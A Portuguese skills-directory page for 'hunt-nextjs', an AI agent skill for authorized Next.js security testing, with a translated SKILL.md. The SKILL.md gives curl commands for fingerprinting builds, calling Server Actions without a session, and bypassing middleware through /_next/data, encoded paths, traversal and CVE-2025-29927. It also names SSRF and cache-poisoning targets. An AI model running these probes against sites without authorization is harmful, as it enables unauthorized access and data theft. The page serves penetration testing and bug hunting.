hunt-nextjs
Faz seu agente procurar por falhas específicas em sistemas Next.js. Útil para quem desenvolve ou testa aplicações web com Next.js.
O que ela faz
Esta ferramenta ajuda a encontrar falhas de segurança específicas em sites criados com Next.js, um framework popular para desenvolvimento web. Ela procura por vulnerabilidades que podem permitir acesso não autorizado ou controle sobre o servidor.
Quando usar
- ✓Ao testar a segurança de um site Next.js.
- ✓Para verificar se um site Next.js está protegido contra ataques conhecidos.
- ✓Em avaliações de segurança autorizadas de aplicações Next.js.
Exemplo do que pedir para a IA
“Verifique vulnerabilidades de segurança no site example.com”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta analisa o código e as respostas do site para identificar padrões que indicam fraquezas. Ela tenta acessar áreas protegidas ou executar comandos que não deveriam ser possíveis.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add sickn33/agentic-awesome-skills --skill hunt-nextjsOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/sickn33/agentic-awesome-skills/main/plugins/agentic-awesome-skills-claude/skills/hunt-nextjs/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
⚠️ USO AUTORIZADO APENAS Esta habilidade é apenas para fins educacionais ou avaliações de segurança autorizadas. Você deve ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso indevido desta ferramenta é ilegal e estritamente proibido.
Porta de confirmação obrigatória Antes de executar qualquer comando que sonde, explore, altere, persista, extraia dados ou tente acesso a credenciais contra um alvo:
- Peça ao usuário para declarar o URL, IP, conta ou recurso exato do alvo.
- Peça ao usuário para confirmar a autorização por escrito e o escopo permitido.
- Mostre o(s) comando(s) exato(s) e explique seu efeito esperado.
- Aguarde a confirmação explícita na conversa atual.
Sem essa confirmação, permaneça apenas em modo de leitura e forneça orientação defensiva. Prefira um sandbox, VM descartável ou laboratório controlado.
HUNT-NEXTJS — Vulnerabilidades do Framework Next.js / SSR
Alvos de Joias da Coroa
Bugs específicos do Next.js que contornam autenticação ou alcançam SSRF = Alto/Crítico.
Cadeias de maior valor:
- Contorno de autenticação de Server Actions — Server Actions aplicam autenticação apenas no lado do cliente → chama o ID da ação diretamente → mutação ou exfiltração de dados não autorizada
- Contorno de middleware via
/_next/static/— o middleware ignora caminhos de ativos estáticos → rotas protegidas acessíveis via IDOR/_next/data/ - SSRF
/_next/image— O otimizador de imagem busca um URL controlado pelo atacante → varredura de rede interna ou metadados da nuvem - Envenenamento de cache obsoleto de ISR — injeta conteúdo malicioso em uma página em cache que é servida a todos os usuários
- Vazamento de payload de RSC — dados de voo do React Server Component contêm props do lado do servidor que não são para o cliente
Sinais de Superfície de Ataque
/_next/image?url=&w=&q= Image optimizer — SSRF candidate
/_next/data/BUILD_ID/*.json Prerendered page data — IDOR candidate
/__nextjs_original-stack-frame Debug stack frame endpoint
/_next/static/chunks/ JS bundles — source map candidate
/api/ API routes — standard hunt surface
__NEXT_DATA__ in HTML SSR props leaked to client
x-nextjs-* response headers Confirms Next.js
Fase 1 — Detecção de Impressão Digital e Versão
# Confirm Next.js and get build ID
curl -s https://$TARGET/ | grep -oP '"buildId":"[^"]+"'
curl -sI https://$TARGET/ | grep -i "x-powered-by\|x-nextjs"
# Extract build ID for /_next/data/ paths
BUILD_ID=$(curl -s https://$TARGET/ | grep -oP '"buildId":"\K[^"]+')
echo "Build ID: $BUILD_ID"
# Check Next.js version via package disclosure
curl -s https://$TARGET/_next/static/chunks/framework*.js | grep -oP '"next":"[^"]+"'
# Source map exposure
curl -s "https://$TARGET/_next/static/chunks/pages/index.js.map" | head -5
curl -s "https://$TARGET/_next/static/chunks/main.js.map" | head -5
Fase 2 — Abuso de Server Actions
# Server Actions in Next.js 14+ use x-action-id or Next-Action header
# Find action IDs in HTML source or JS bundles
curl -s https://$TARGET/ | grep -oP '"action":"[a-f0-9]+"'
grep -r "createActionURL\|$$ACTION_" recon/$TARGET/ --include="*.js" 2>/dev/null
# Call Server Action directly without auth
curl -s -X POST https://$TARGET/target-page \
-H "Next-Action: ACTION_ID_HERE" \
-H "Content-Type: multipart/form-data; boundary=----" \
-H "Cookie: " \
--data-raw $'------\r\nContent-Disposition: form-data; name="1"\r\n\r\n[]\r\n------\r\n'
# Test: does the action execute without a valid session?
# If it returns data or mutates state → auth enforcement is client-side only
Fase 3 — Contorno de Autenticação de Middleware
# Next.js middleware runs on edge runtime and may skip certain paths
# Test protected route directly
curl -s -o /dev/null -w "%{http_code}" https://$TARGET/admin/dashboard
# → 200 means accessible
# Test via /_next/data/ (SSG/ISR JSON) — middleware may not apply
curl -s "https://$TARGET/_next/data/$BUILD_ID/admin/dashboard.json"
# Test via static asset path prefix (middleware matcher may exclude /_next/static)
curl -s "https://$TARGET/_next/static/../admin/dashboard"
# Encoded path bypass
curl -s "https://$TARGET/%5Fnext/data/$BUILD_ID/admin/users.json"
curl -s "https://$TARGET/_next/data/$BUILD_ID/..%2Fadmin%2Fusers.json"
Contorno de middleware via x-middleware-subrequest (CVE-2025-29927)
O Next ignora completamente a execução do middleware quando este cabeçalho afirma uma subrequisição interna — contornando o middleware de autenticação/redirecionamento em rotas protegidas.
…
Perguntas frequentes
O que é Next.js?
Next.js é um framework popular para construir sites e aplicações web, conhecido por sua eficiência e recursos avançados.
O que são vulnerabilidades?
Vulnerabilidades são falhas de segurança em um sistema que podem ser exploradas por atacantes para obter acesso indevido, roubar informações ou causar danos.
Preciso de permissão para usar esta ferramenta?
Sim, você precisa de permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta, pois ela é destinada a fins educacionais ou avaliações de segurança autorizadas.
Detalhes
Descrição original do autor
Hunt Next.js specific vulnerabilities
Popularidade
- Estrelas no GitHub
- 48 mil
- Posição no ranking
- #3274
- Licença
- MIT
- Atualizada em
- 15/10/2026
Comentários
- …
Mais skills deste repositório
00-andruia-consultant
Ajuda seu agente a iniciar ou melhorar projetos de IA. Ele analisa código, sugere ferramentas e cria planos de ação em espanhol.
sickn33/agentic-awesome-skills
007
Faz seu agente realizar auditorias de segurança e modelagem de ameaças. É útil para proteger projetos contra ataques e vulnerabilidades.
sickn33/agentic-awesome-skills
10-andruia-skill-smith
Ajuda seu agente a criar ou melhorar ferramentas de IA. Ele define como as ferramentas funcionam, escreve a documentação e valida a estrutura.
sickn33/agentic-awesome-skills
20-andruia-niche-intelligence
Faz seu agente criar um resumo sobre um setor específico. É útil para entender o contexto, regras, padrões de uso e riscos de um projeto, usando fontes confiáveis.
sickn33/agentic-awesome-skills
Skills parecidas
angular-developer
Ajuda seu agente a criar código Angular e a dar conselhos sobre a estrutura do projeto. É útil para iniciar novos projetos, criar partes do código ou melhorar a performance e acessibilidade.
affaan-m/ECC
frontend-a11y
Ajuda seu agente a tornar interfaces web acessíveis para todos. Ele garante que sites e apps funcionem bem com leitores de tela e navegação por teclado.
affaan-m/ECC
frontend-patterns
Faz seu agente aplicar padrões modernos no desenvolvimento frontend. Ele otimiza performance, gerencia estado e segue boas práticas em React e Next.js.
affaan-m/ECC